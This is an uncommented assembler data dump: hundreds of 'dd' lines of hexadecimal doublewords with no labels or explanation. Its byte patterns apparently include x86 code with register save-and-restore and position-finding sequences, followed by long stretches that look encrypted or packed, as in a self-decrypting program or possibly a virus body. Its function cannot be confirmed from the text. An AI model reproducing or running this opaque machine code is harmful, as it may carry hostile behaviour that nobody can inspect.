		dd 0B830B4E1h, 2739115Bh, 684C1124h, 266E9B6h, 66600000h
		dd 0C1F6D98Ch, 35840F04h, 6A000000h, 8DB5FF01h,	8D06A62Fh
		dd 0A9712085h, 89D0FF06h, 0A62A0185h, 0C1FE8B06h, 680CEFh
		dd 6A200600h, 57026A00h, 1000D68h, 195FF00h, 0E906A62Ah
		dd 32h,	0C2985C6h, 685606A6h, 0A9C530DFh, 919B5FFh, 858D06A6h
		dd 6A97120h, 8589D0FFh,	6A625E5h, 0D9D858Dh, 6A5006A6h
		dd 56056A40h, 25E595FFh, 0C36106A6h, 3 dup(0)
		dd 60D48B52h, 8908428Bh, 0ABA70885h, 0C428B06h,	0A7008589h
		dd 428B06ABh, 4858910h,	8D06ABA7h, 0ABA73EB5h, 0A1858D06h
		dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 6ABA708h, 0A700858Bh
		dd 0BD8306ABh, 6ABA704h, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 0A7088589h, 0B58D06ABh, 6ABA78Fh
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 6ABA708h, 8B0004C2h
		dd 0ABA70885h, 89008B06h, 0ABA70885h, 0CF06h, 89600000h
		dd 0ABA765B5h, 61858906h, 8D06ABA7h, 0A6043D85h, 44408B06h
		dd 0A79E8589h, 0B58D06ABh, 6ABA7D4h, 8EA1858Dh,	0D0FF005Bh
		dd 65858B61h, 0C306ABA7h, 0A7619D8Bh, 0B70F06ABh, 0D8033C43h
		dd 3785B8Bh, 0ABA7619Dh, 24738B06h, 0A761B503h,	8B5606ABh
		dd 738B207Bh, 61BD031Ch, 306ABA7h, 0ABA761B5h, 0C983FC06h
		dd 9D8B41FFh, 6ABA765h,	9503178Bh, 6ABA761h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 6ABA761h,	0A7658589h, 0F08B06ABh,	0C18BCE8Bh
		dd 0A79EBD81h, 6ABh, 850FC030h,	0Dh, 2514E8C1h,	0FFCh
		dd 8E9h, 12E8C100h, 3FF825h, 9EBD8B00h,	8306ABA7h, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 0A79EBD81h, 6ABh
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 9EBD8100h, 6ABA7h, 0FC03000h, 0E84h,	3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 0A70C858Dh, 858906ABh, 6A60879h
		dd 0A7A2858Dh, 858906ABh, 6A60D05h, 0A769858Dh,	858906ABh
		dd 6A63001h, 7E8h, 616FE800h, 0F4C86DE4h, 0E55F17BBh, 26B65917h
		dd 5D9FC181h, 0BB660000h, 0F62B2EEEh, 78B1F281h, 3C8B3165h
		dd 0C8C38031h, 9E23EF81h, 0BF0F5FEFh, 0C3EF81DAh, 0F4DEB01h
		dd 0EF81DEB7h, 1C3D48EAh, 89D2B70Fh, 3FB3313Ch,	0F38B6660h
		dd 8361FB8Bh, 0F6004EEh, 587h, 1248BB00h, 890F7BB7h, 3
		dd 61D9B70Fh, 0A2D4FE81h, 850FFFFFh, 0FFFFFFAEh, 7939BA66h
		dd 0AAD78D8Dh, 6A06ABh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0E3AEBCC3h, 0FE38BFD0h, 0BF0FE380h
		dd 699D89F8h, 8906A611h, 0A606AD8Dh, 41B58B06h,	0C706A61Dh
		dd 0A6040D85h, 6D4C06h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 29B9C5Bh, 45C334BBh, 0FEBE934Dh
		dd 561F346Bh, 37B0B866h, 0E985C75Ah, 6A60Bh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 6F9C355h,	0B0F2ADC7h, 8A324078h, 958960D1h
		dd 6A62F41h, 9A5958Bh, 0E96106A6h, 11h,	0FEF5FEA7h, 833E133Bh
		dd 0A72742BEh, 387302A3h, 95B5FF52h, 6A06A620h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 151CC352h, 6820FBEh,	81000000h, 1EBB93C3h, 7995FF39h
		dd 6A06A61Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0BF68C350h, 2144F340h,	168D0Fh
		dd 11E90000h, 0D6000000h, 0A553F1CCh, 5EA66C33h, 57DD60E4h
		dd 0C426A0F6h, 95FF006Ah, 6A62959h, 38EBC08Bh, 63AF52F4h
		dd 67E99D6Dh, 0CDD67F7Dh, 67512657h, 0E6481895h, 17BCA309h
		dd 0BB6052F7h, 20453C52h, 0DEC2F1CDh, 0C71EA03Eh, 69D01DF5h
		dd 54E9D842h, 0EDE525Dh, 0CA3D8313h, 1DE9h, 0AFA81B00h
		dd 35h,	5 dup(0)
		dd 0E90000h, 60000005h,	3510AD47h, 0C74EDB31h, 92BD08E2h
		dd 0A6E13CD2h, 8AD16CBAh, 4E988433h, 7B9554F3h,	0AA7C672Eh
		dd 0D832301Fh, 0F05BE54Dh, 33674253h, 7A102245h, 0E019EC8Ah
		dd 0D5AF12F5h, 0F7967C6Eh, 0DB66B458h, 4BC9B145h, 6F1EF0F0h
		dd 1EAB8773h, 0A0D93337h, 0C9977D6Dh, 0FDAC4262h, 0B3D27301h
		dd 0A41841ABh, 0CE7586FCh, 6DBBA51Ch, 9CD6C871h, 4CD93337h
		dd 0B85BDEC1h, 5D16BB1Ch, 0A21835CCh, 0C04FDAB6h, 33520BDDh
		dd 1EA4C22Ch, 0CC5D14BDh, 0BE295D35h, 0B0A45EEFh, 0F4592B87h
		dd 23941258h, 35CCA78Eh, 0F8283A90h, 67B5588Ah,	0BACDE0D7h
		dd 2F3F58A5h, 4E3AA4C5h, 7C9654F3h, 0C9608ECDh,	446635CCh
		dd 9150FFAEh, 9C87CE7Fh, 0CEAF134Ah, 108F0E04h,	457CF80Ah
		dd 4F0FE84h, 82h, 8717A05Ch, 45648F09h,	0C513B01Bh, 0AD0535CCh
		dd 875B9BD7h, 769D3C6Dh, 7435CCE9h, 0ACE39A74h,	0CE240580h
		dd 1637239Fh, 889FBB7h,	9261939Fh, 0AEDF3535h, 2CC73E34h
		dd 6BF0FEA4h, 1, 1B835BD7h, 0CCE913B0h,	0BF551535h, 7D6D2A80h
		dd 4382BB97h, 69F7719Bh, 0CCE9A5CEh, 8A2D4B35h,	35CCE819h
		dd 0ADA7930Fh, 0F917D578h, 0FE165C40h, 0D680198Ch, 2CF48E7Dh
		dd 0C82204D6h, 0FA10D27Dh, 0B95B13AFh, 0EFC7113Ch, 74C33C4Dh
		dd 8BB2AEC5h, 0D1886244h, 0B744BE70h, 94B36508h, 930F3EE8h
		dd 0CB4E72C1h, 544EFF29h, 0EDD9332Bh, 0DC8B7383h, 9863A241h
		dd 0E5D47DDEh, 0E0DA35CCh, 7270DF92h, 4F71DE98h, 0A5ACB99h
		dd 0EB3D278Ch, 0E60B40B2h, 8835CCE5h, 0EEF34012h, 0A7536504h
		dd 0A7109E6Dh, 35CCE50Ah, 31ACA61Ch, 0F0FEA6EAh, 5DB7B71Ch
		dd 5E6C07h, 5BD60000h, 973E6FB9h, 9F0138D2h, 0D2C23DD1h
		dd 39C36BB4h, 5F8D872Bh, 6FD663B5h, 5BEA9345h, 0EA326B85h
		dd 0E930B4CEh, 0E8F0FEA6h, 51h,	0E30DD378h, 0BD1E58BAh
		dd 35CCFF14h, 9ED2A01Ah, 0BA1DB95Bh, 35CCE909h,	96B7A31Fh
		dd 0DB82547Fh, 0EDC36FCh, 0FF79B462h, 0DE799350h, 0D46CE60Ch
		dd 3069835Bh, 0BB6D17BCh, 0E9F816A9h, 42E35CCh,	0A46F8A0Eh
		dd 62EF0FEh, 46000000h,	2F25CB99h, 6C865B13h, 3AD0923Dh
		dd 0CFC5CD03h, 0EC05B63Ch, 0F235CCE9h, 87697F18h, 8F6546CDh
		dd 74914C32h, 0D73141EAh, 0EDC53EB2h, 0D38B30BCh, 0C49E0039h
		dd 34816B7Fh, 8AB35909h, 6AC7D877h, 669C9633h, 7AC0F95h
		dd 29336AC7h, 3DEB96B1h, 20CA9827h, 73F69946h, 0F796826Ch
		dd 1D38790Bh, 4F86A74Dh, 85C8719Bh, 0FE1148A6h,	46504D2h
		dd 0D039B8CAh, 7476A4DEh, 766BD09Eh, 81A2ED9Ch,	0D4C0326Bh
		dd 0FE65C39Eh, 628C53EEh, 0FBEBD776h, 0D6A2F9ECh, 0D9344EB9h
		dd 0F658FE22h, 0D761h, 0E11C2100h, 1BBC3A24h, 35CCE9F6h
		dd 0E27002F8h, 0B2FE4D49h, 3432593Eh, 4733AFDEh, 11FBEF26h
		dd 93649884h, 996485F5h, 7848F45Ah, 0C7B327B9h,	0CE24068Dh
		dd 9872709Fh, 54AE60E1h, 0F34EA486h, 588BE702h,	35A6F6h
		dd 1C6C0000h, 934422E7h, 0B5CCE91Eh, 0BD336A40h, 80B95716h
		dd 5EF3441Eh, 7EB5CCE9h, 70A649F6h, 539FD5C9h, 0DA3FB421h
		dd 0E9F63B9Ch, 2F835CCh, 5AA1B7h, 1CF90000h, 913A24E1h
		dd 3EB2C35Dh, 74F8A119h, 63F11BCFh, 0A9E40EDCh,	6545FCEEh
		dd 8E4DE8Fh, 0F0963251h, 0DED4336Ah, 9E7476A4h,	9C766BD0h
		dd 0ACB8BC6h, 0BCC275F3h, 5A381F4Fh, 0D4963960h, 0F594426Dh
		dd 206C1D09h, 0BE3FAAD8h, 34931947h, 3285DF09h,	33E8938Ch
		dd 0A9E530AAh, 3A24E11Ch, 0A33AADCAh, 0EDF389C6h, 8C785A03h
		dd 0BFCF68F6h, 5F3EB922h, 0D78B3A63h, 85A5E03Dh, 0D07B016Fh
		dd 3360CBB3h, 1E024DA5h, 572D91C8h, 0E3E953F6h,	0F4BC4C7Ch
		dd 749E4C9Eh, 719F4DEAh, 0C3E7AEE3h, 0D3B74F29h, 5E3E89B3h
		dd 0A10A54h, 160C7C59h,	0E907A6BCh, 0DC8D6342h,	3D2390E2h
		dd 9E1AAAD3h, 2CB4B664h, 7C59668Bh, 0D492080Ch,	7C59CE63h
		dd 0EFAD00Ch, 5D0EB5B3h, 562C96B7h, 5513F9E9h, 59C76CCFh
		dd 0F1E90C7Ch, 3AAC263h, 0FE000000h, 825B821Eh,	0CC9E3168h
		dd 25C80726h, 243B4AF3h, 507C93CAh, 84A8E786h, 0C4E42B52h
		dd 0FDC732Ah, 5D0944E5h, 53A496B7h, 0C381E389h,	4, 3304EB83h
		dd 1C31241Ch, 241C3324h, 7672685Ch, 1C890000h, 794A6824h
		dd 34890000h, 4EC8124h,	89000000h, 3BBF243Ch, 8906ABABh
		dd 8B545FFBh, 0C4832434h, 4815304h, 0E402B024h,	8468F74h
		dd 2B0B951h, 4E2974E4h,	348B5908h, 0E6895624h, 4C681h
		dd 0C6830000h, 24348704h, 2434FF5Ch, 4C4835Bh, 0FACD7EE9h
		dd 35C4FDFFh, 478EAC42h, 7D564C37h, 0B8653B58h,	6ABAFBBh
		dd 0E0FFC503h, 6D5DBD3Bh, 318A5852h, 70D553BCh,	216AD934h
		dd 0B1448D8Dh, 8A0F06ABh, 8, 29850357h,	5806A61Eh, 6AD8D89h
		dd 6A06A6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 8E7C94C3h, 4D0D9697h, 89E963CBh, 0A60F2995h
		dd 0D85C706h, 1C06A604h, 6A000068h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 17B8C352h
		dd 66F9FEC3h, 3669EB81h, 218FBF66h, 58E0Fh, 81660000h
		dd 0C775A5F6h, 0A60BE985h, 6, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 681324Ah, 8B482D9Fh
		dd 0A6155195h, 49B5FF06h, 8006A60Fh, 8589D7DCh,	6A60D95h
		dd 1A7995FFh, 14E806A6h, 0FB000000h, 73A60B88h,	1D0E001Ch
		dd 111786FBh, 3F4A8BFDh, 662118A4h, 0E654CB81h,	0FF006A5Ah
		dd 0A6295995h, 0EBC08B06h, 3A4CDB2Ah, 0FAA5A820h, 8F6C6AB5h
		dd 9601C489h, 5EB8BDC7h, 719E64C6h, 8D9EA03h, 8DDE43F6h
		dd 884117B6h, 0D66D7201h, 0E8EFF8E3h, 14h, 8C5928F6h, 0A80BFADBh
		dd 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h, 0C0D8589h, 0F85906A6h
		dd 6F48C181h, 0BD890000h, 6A60CE1h, 1BACBEh, 6D9D8B00h
		dd 8B06A62Ah, 0C081F901h, 42A70019h, 81F88B66h,	0F2D733E8h
		dd 0AD950B14h, 8106A61Eh, 0ECF200E8h, 0CD8D897Bh, 5006A62Ah
		dd 8FF98B66h, 83FA8B01h, 958B03E9h, 6A61111h, 0E3E38149h
		dd 4E598AD9h, 13850Fh, 0BA660000h, 1DE99B5Bh, 31000000h
		dd 0AD5F7540h, 69A43E7Ah, 0B58D89EEh, 0E906A626h, 0FFFFFF9Fh
		dd 0F5A719ACh, 628587FDh, 0BE9h, 76EFD600h, 0E7339C2Ah
		dd 77h,	0D4BE9h, 0B4096800h, 78E906ABh,	68FFFACBh, 6ABB508h
		dd 0FACB6EE9h, 0B6A768FFh, 64E906ABh, 68FFFACBh, 6ABB7EBh
		dd 0FACB5AE9h, 0B94068FFh, 50E906ABh, 68FFFACBh, 6ABBB92h
		dd 0FACB46E9h, 0BCE668FFh, 3CE906ABh, 68FFFACBh, 6ABBDE5h
		dd 0FACB32E9h, 0EF0522FFh, 19F3EB52h, 4AA0818Ch, 7E9050FFh
		dd 0AE786423h, 7A75C813h, 0A358056h, 0DD78B55Bh, 0EEA9E432h
		dd 9B9B16FCh, 5B01A215h, 0F4173367h, 6AE1807Ch,	1E5534DFh
		dd 0C79D7371h, 1F875B8Bh, 0CCE917BCh, 0B5A11935h, 0B05A0CABh
		dd 1ECC03A2h, 59378E86h, 0CA0A885Dh, 0CCC36081h, 0A09C7635h
		dd 95706D15h, 0FBE64DCBh, 0CABF352Dh, 613FEB51h, 6CA2A013h
		dd 5EB43EB2h, 4B1AC12Fh, 481A84A5h, 6A205EF7h, 618B5833h
		dd 3BD19538h, 0CCC6C202h, 0F9A04E1Eh, 5B172905h, 6176AD29h
		dd 4935F658h, 0FD000000h, 3A24E11Ch, 2A6640BCh,	6F7234DAh
		dd 0F7EB9244h, 0C4F6491Bh, 0EA3EB243h
		dd 9F5381A3h, 5E97D58h,	9AC3BFABh, 93A2BA4Ah, 0DD6E53EEh
		dd 0BF8B3893h, 259D336Ah, 0BF43EC2Fh, 743C336Ah, 0F27F9A1Eh
		dd 0DF3EF658h, 0E4000000h, 3C6D875Bh, 7A6AEF91h, 1DF7EB94h
		dd 0E786726Ch, 0EA002289h, 8E354FB3h, 0F81736DCh, 0F96600EAh
		dd 655900D6h, 6DCA52EFh, 0F5E9907Eh, 0EEE2DC7Fh, 0C6E435CCh
		dd 0FAE5422Ch, 0EC54FD5Eh, 605A35CCh, 0AEE9D574h, 0B52950BEh
		dd 875BE2BFh, 7B0283Eh,	35CCECEAh, 3E2A06FCh, 0CF46870Fh
		dd 952C3AA1h, 9D0138D6h, 0EA4DD3A1h, 3EB2D12Ch,	689932BAh
		dd 7E336AC6h, 751DA884h, 0F422CE78h, 0BCFD5E18h, 32381261h
		dd 0AB109ED8h, 0B22C5DB7h, 0F47113A0h, 7F631AF4h, 650F3683h
		dd 6B184CB3h, 1A2B8EECh, 0AC0C2h, 7F955200h, 0A9431B22h
		dd 0DA30311Ch, 0EE0C04Fh, 3EE894B3h, 0EA0558E3h, 0BA8510C6h
		dd 4DC845ABh, 1E3974A2h, 0B6BA64Ch, 5DB1D285h, 4A73367h
		dd 6FB95B3Eh, 9D776BD2h, 0E11CF600h, 0E9913A24h, 8D3EB2D8h
		dd 0B8D57415h, 0C7336AC6h, 0DB48E369h, 0DD336AC6h, 224AE533h
		dd 6AC61889h, 0B8940E33h, 880C06AAh, 0F6588B51h, 0D610h
		dd 875B9200h, 0EF913C6Dh, 10EC0039h, 664E9A52h,	2394EEFDh
		dd 35CC0BDBh, 5B05EFF3h, 4F05EFFCh, 0BD570B32h,	90AC608Ch
		dd 0FD17D7CAh, 266B4C05h, 0E5729F38h, 8E6435CCh, 30CD08F4h
		dd 0D8398536h, 554D3EB2h, 42BB3AD8h, 7CC5B324h,	0A2E93812h
		dd 0F17F6B81h, 0CB72984Ah, 852E89D7h, 0AB388230h, 31BF253Fh
		dd 9237D98Ah, 4788C880h, 0B1B7D0CCh, 0BEB42E5Fh, 0BFB96F11h
		dd 626D8631h, 0D4733882h, 750FFB15h, 0B96F113Ch, 0ECB42846h
		dd 0EE0E3F8Eh, 9C1h, 0D5608A53h, 1B967C6Ah, 48C52F3Ch
		dd 0A4F11FCDh, 9421F799h, 0D5FFF855h, 0D88FB603h, 0B15CFB36h
		dd 7F632A67h, 941A1895h, 675C8E23h, 2D759033h, 16FB95Bh
		dd 0E9B3D07Bh, 4DA535CCh, 0FD37A37h, 5B1EA8E5h,	0A4036D87h
		dd 0B1146EB8h, 0CEA24C1Eh, 0BC6A1547h, 0BB21118Dh, 48C5B19Fh
		dd 0B4B24B8Ah, 0B29B3B03h, 3657433Eh, 6A927B93h, 146E0A33h
		dd 55FE59E7h, 5B336A92h, 0C1F8156Fh, 80F658D3h,	67Eh, 0DDD7A02h
		dd 0B5DE79E7h, 0BB35CCE9h, 0CC9354Fh, 0BAC477F1h, 7D3EB2DAh
		dd 4FFE14D6h, 48A20153h, 0EBDCD62Eh, 61A20B50h,	843F5407h
		dd 0C921336Ah, 5EF70ABBh, 21336A84h, 447FFB09h,	0F6F658C5h
		dd 0E8C39A1Eh, 6A46224Fh, 0E6DE3433h, 94473A5Bh, 336A6C7Fh
		dd 0D39D8961h, 6A6CCB78h, 6FE5DD33h, 619F4h, 0E11CBE00h
		dd 6FF63120h, 413DC133h, 0D482B427h, 3A943EB2h,	0ED21F9Eh
		dd 4C2A06D9h, 0FC5FC7E7h, 336A0F57h, 0D4756159h, 6B47ADB9h
		dd 0F815B419h, 87336A0Fh, 0E61D99EBh, 0A5F6584Eh, 5DAh
		dd 404A096Dh, 0E903DB85h, 14524EB0h, 0B2F523A3h, 4BDFCB3Eh
		dd 0DA6746EDh, 7B09E50Bh, 85DFC6D8h, 676DA1A7h,	0FCDBE93Eh
		dd 1ADB2331h, 38D285E3h, 3EAC091Dh, 0B02DA5C4h,	0BFAC0B55h
		dd 0CB993455h, 0AE9A0425h, 7ED4ED4h, 0ABA7D3D1h, 0BB97416Ch
		dd 6F8437BDh, 7195C4C6h, 0FE65CB99h, 0A45806ECh, 94254373h
		dd 0BDF48EC0h, 0C53AD092h, 0FC333495h, 22618786h, 0FC000008h
		dd 89B401EBh, 53FA37DDh, 6E29648Eh, 3A05907Eh, 3675C016h
		dd 0A2741897h, 0D7392817h, 6D0F35Ah, 34DE8C8Bh,	44F779F9h
		dd 33675F2Fh, 5B8C9631h, 0D63C6D87h, 862B8C17h,	0A835CCE9h
		dd 92184632h, 0A1D83635h, 6694273Dh, 83EB95Bh, 0AB340792h
		dd 0FE33675Bh, 28C2E0AFh, 1BFEF59Dh, 5B41FA5Dh,	7B573367h
		dd 2705A2C2h, 5BF310BBh, 0DE53367h, 0EEFC4311h,	3E2E9757h
		dd 5945E4D0h, 0DC79D06Dh, 0FA33675Bh, 7E9452D7h, 79E7D3CFh
		dd 4CFD13D2h, 0E7410052h, 5B55FE59h, 6F5B3367h,	56BCAE15h
		dd 2B7B9437h, 7D353367h, 0FF15D507h, 7EC79BA2h,	0F92FD168h
		dd 3B625E40h, 8EE2EFC7h, 9B6BD148h, 9C3BC1AFh, 0FB6823CDh
		dd 0ED3367CDh, 8BCE7FF5h, 3367DD62h, 0B5679D65h, 5AC25FB5h
		dd 0EE9FE2AAh, 95B69F9h, 10C93h, 875BF700h, 0E9C5133Eh
		dd 3D56018Fh, 2335CCE9h, 0C508BDB7h, 3E5D0CDAh,	35CCE995h
		dd 0EC4FD78Bh, 35CCE947h, 40EB7569h, 509822BDh,	0EA04DB64h
		dd 15534FB3h, 0BC85D2F9h, 0C73F5339h, 0D6594949h, 0A7065C49h
		dd 957AE2Fh, 0B9561CAEh, 67D8323Eh, 958F7FDDh, 0DED51332h
		dd 0B0000006h, 45C05DB7h, 173E8B61h, 226DB852h,	0F651EC02h
		dd 7A811CCAh, 0FE28D4E3h, 2BC5E4A3h, 5A8CB79Eh,	886240CFh
		dd 0AB353Dh, 33675EE3h,	5BC052F5h, 913C6D87h, 0A1EC39EFh
		dd 53DD68BEh, 451FC9F4h, 5806ECFEh, 0B6B9C2A4h,	0A6BC52E4h
		dd 5680ACEBh, 22F49837h, 0FA081A7Bh, 37A00428h,	35CCD29Ah
		dd 3C3A168Ch, 33AEC97h,	49F01ACCh, 0FDE7955h, 0C46B8E1h
		dd 9F659C75h, 724F0FEh,	0EE000000h, 5772h, 875BD600h, 709D3C6Dh
		dd 7735CCF9h, 0D78B59ABh, 2B5333Dh, 35CCF9E1h, 8491BF7h
		dd 95B4620Dh, 0CCF9D876h, 0A7DDD135h, 19C4A75h,	6EB85BF5h
		dd 3BED903Fh, 0E4430D02h, 8A562CC6h, 5187AA78h,	0F14575C4h
		dd 3B2A35CCh, 0F0FEA183h, 0FFFED1DEh, 437244FFh, 0D6000003h
		dd 3C6D875Bh, 0CCE9609Dh, 1FC44835h, 7FBA274h, 9C6FA54Dh
		dd 39974760h, 0B0C2BA48h, 78B55F03h, 79E70DDDh,	4DFC12D2h
		dd 6FA20351h, 35CCCFD6h, 5E18F2F0h, 2818CEF1h, 419E1892h
		dd 8C213367h, 0D071DA60h, 0C635CCBAh, 0B82982ECh, 0AE35CCBAh
		dd 17D63E34h, 0B3C770FEh, 5B3EB908h, 0EF09BA1Dh, 7A583360h
		dd 0EA40F69Ch, 0DFCB2750h, 8F39E468h, 0D6163795h, 589h
		dd 1DA8421Bh, 43DE3432h, 0B00DE7C4h, 0EC39D795h, 0DC69BFA1h
		dd 9D87308Dh, 9057FE4Bh, 7964237Eh, 372B12AFh, 5CE240DDh
		dd 675056FBh, 152D5833h, 0BC1F875Bh, 35CCE917h,	94B5A119h
		dd 0C879D258h, 0DE35CCE9h, 3F216EE4h, 0F1F15CE9h, 9D878E1Bh
		dd 0D1F3124Bh, 6FE16607h, 7B09E3C0h, 0E58F5DB7h, 0D209E633h
		dd 91F0FEA8h, 25Eh, 0EDD7A11h, 716A92E0h, 4B56F594h, 7036FDE8h
		dd 13CE4AB8h, 520E1057h, 242h, 22E71CD0h, 0E97E9344h, 8A6035CCh
		dd 0A4179DD3h, 35CCE90Fh, 68ABB911h, 36FDE88Dh,	88C86B2h
		dd 0E1057D1h, 21990h, 0E71C1200h, 0AC984E71h, 0E9F469C2h
		dd 8E235CCh, 0E8E73251h, 0FDED36FDh, 9E8A6444h,	6882A0EFh
		dd 245E5031h, 2E95E3A5h, 36A8D13Fh, 1A9EF43Ch, 0E1057FFh
		dd 1E1BEh, 0E71C6400h, 11BE4422h, 17FDEE53h, 0C290023Bh
		dd 0CCE9D871h, 45E4DE35h, 0FDE89B06h, 7EDF936h,	0D3052F66h
		dd 0AD471BAAh, 0BC4402FCh, 29C1C746h, 57A45FDBh, 0A7E30E10h
		dd 0AF000001h, 3C6D875Bh, 0EE3BD191h, 4E28E5E0h, 0B2C7E5EDh
		dd 4F13B83Eh, 481A84A5h, 55BFACEBh, 9207FF79h, 586248C3h
		dd 0B6D5780Ah, 336A8919h, 0F3F1741Fh, 86726C1Dh, 15B2FFE7h
		dd 14FC2058h, 0E39A746Bh, 55D42EE4h, 0E96DA753h, 0F6584C32h
		dd 4E71h, 0E11C3100h, 0E9913A24h, 8D3EB2D8h, 0B8D57415h
		dd 0C7336AC6h, 0AC2AD92Bh, 6AC6E60Bh, 70168833h, 0E4C8647Bh
		dd 6BD0C0BCh, 8BC4C527h, 9249A4BEh, 24F658D0h, 69943D9Eh
		dd 209A336Ah, 0E93952h,	8C2B0000h, 0F81736E0h, 796504EEh
		dd 5BBBF78Dh, 913C6D87h, 0EC0039EFh, 0D28B5D47h, 3D2D92E0h
		dd 22289D7h, 0B82982ECh, 0AE35CCE9h, 408F3E34h,	333D8862h
		dd 0B75D0EB5h, 0C26F2C96h, 0D435CCE9h
		dd 2A53B9ADh, 3586DCC8h, 35CCEEC9h, 0BAF71DCDh,	631942B2h
		dd 0C84E1677h, 7A9352BAh, 0F46B5BFCh, 0C2323EB4h, 0C9A9FA73h
		dd 12B1C3F7h, 6F11BEB8h, 82C38CBDh, 0E5D160F7h,	7C67CCA8h
		dd 6504EAF9h, 0E2DC8D79h, 1B6987A5h, 2D5A88B4h,	32D9E322h
		dd 0F240A793h, 0E99591E2h, 3370064h, 1CC90000h,	0CA9CBBF6h
		dd 0B9AA9520h, 697FC653h, 61030A87h, 8E2F7AB7h,	1CA97F61h
		dd 41DC3231h, 0B00DDBC6h, 0E23FD595h, 2859F27Ch, 3E336752h
		dd 0B95BB78Bh, 0D3747D6Bh, 0ADBEF473h, 227F6B47h, 0F61BBC3Ah
		dd 0F835CC33h, 1FC37002h, 5B6EB8F5h, 913C6D87h,	0ABEE3BD1h
		dd 35CCE903h, 0DA84817Ch, 0E956FB5Ch, 625835CCh, 85298210h
		dd 603EB2C2h, 5E0FD9FBh, 59B1EE64h, 875BB2CCh, 0D1913C6Dh
		dd 0D4963D3Bh, 0C1930F3Eh, 7803C280h, 0CCE9B2DFh, 14EA435h
		dd 2092CB21h, 0C1812A34h, 953EB2C7h, 7BE00C3Dh,	0E3DF8E58h
		dd 326B85A4h, 0E401B2C0h, 9B336AF7h, 8A21A5DFh,	3CF658B6h
		dd 243ED097h, 2A4Bh, 0DD7AF700h, 43ADB30Eh, 0B6CCB81Ah
		dd 0E8768F4Eh, 0B2D8BB4Fh, 0C667533Eh, 6AD96A83h, 275D1533h
		dd 589408A3h, 0AD47F6h,	5BCB0000h, 913C6D87h, 0EC0039EFh
		dd 6CE47410h, 88DAC77Ah, 9CCD273Bh, 0E9B7171h, 0CCDDB30Bh
		dd 0AE17CB35h, 2E7B57BDh, 0F0A94367h, 4E71DB1Ah, 1FDE198h
		dd 7272D967h, 91D39F98h, 2E1ABB40h, 4EF1837Fh, 3EB26658h
		dd 8949C43Eh, 4B7B14Ch,	3812F0BCh, 218EE8C2h, 0F15CE93Fh
		dd 7EA619CFh, 518EEBD9h, 1E3B83Ch, 0A8BD0000h, 9E48F742h
		dd 4D1E3974h, 3D236AA7h, 0D5FF46D3h, 0DA73B603h, 0A8E533DDh
		dd 8510FEEDh, 0F44197BAh, 26739949h, 0EC05B638h, 0F2336755h
		dd 0B95BCB57h, 776BD26Fh, 0E824009Dh, 0D3B1035Fh, 1ECE89E0h
		dd 1C2E62F0h, 0BC3A24E1h, 8CBD5717h, 0CBFF4012h, 0D23EB2D8h
		dd 4C7BD022h, 542E8146h, 275A03FFh, 336AA48Eh, 38CB39F1h
		dd 1B1F25C4h, 0C4B2C81h, 178BB25Ch, 0F209A05Dh,	0BA48F658h
		dd 0CA000000h, 2D3E875Bh, 0ED4EA6C7h, 35CCE944h, 0DA84706Ah
		dd 0CCE9D071h, 0F0ECC635h, 0CC1A0649h, 0EE807E9Dh, 240635CCh
		dd 243BA0CEh, 552F93CAh, 0DB31311Ch, 3FA924A2h,	8FE9C52Fh
		dd 0B2C0FA2Ch, 74759C3Eh, 54F3EF9Eh, 36837FA9h,	3EA2812Eh
		dd 6AC8749Dh, 94807A33h, 0E31909F5h, 9CD72DB7h,	1EDF273Dh
		dd 45DE79E7h, 2B38120Bh, 660AB1BFh, 36DA65B0h, 5BAD7FE0h
		dd 3028EECh, 0E4E5h, 43A9BE00h,	759F4FF6h, 0A64C1D38h
		dd 0D23C2C6Bh, 2D4F847h, 0DED974B7h, 0EEA9E432h, 0B98411FFh
		dd 4AF54096h, 3F277298h, 54ED06B1h, 48F33367h, 6FB95BCAh
		dd 0CE776BD2h, 8904F01Eh, 6D875B7Dh, 0B1D28503h, 0A735CCE9h
		dd 0B7610C4Bh, 0F7562C96h, 2D338A58h, 9132A5C3h, 8735CCE9h
		dd 8A313F2Bh, 950930E6h, 1FC82DFh, 4DF15A04h, 693EB95Bh
		dd 0B1E83E22h, 0CC22024Dh, 0CF47A9D0h, 6AC68D90h, 3B88DAA6h
		dd 0D570CD27h, 0B4EFF15h, 46401331h, 15E61C04h,	355482AEh
		dd 425CB9Ah, 6FD4AE9Ah,	3904917Bh, 6B9AC329h, 0A2E29B75h
		dd 0ECFE2C66h, 0DE8C8B06h, 0C14C8F30h, 913A4012h, 644C370h
		dd 0A4908C66h, 1CCC6B85h, 1D574BF2h, 149Fh, 208B1100h
		dd 644C383h, 0F4DC78D2h, 1D4AF89Ah, 1E93AFA5h, 68825B82h
		dd 26CC9E31h, 0F325C807h, 0CA243B4Ah, 86507C93h, 5284A8E7h
		dd 2AC4E42Bh, 0E50FDC73h, 0B75D0944h, 0EC83A496h, 48F5404h
		dd 24048124h, 4, 7FE068h, 24348900h, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 53241489h, 0ABB279BBh, 8BDE8906h,	0C483241Ch
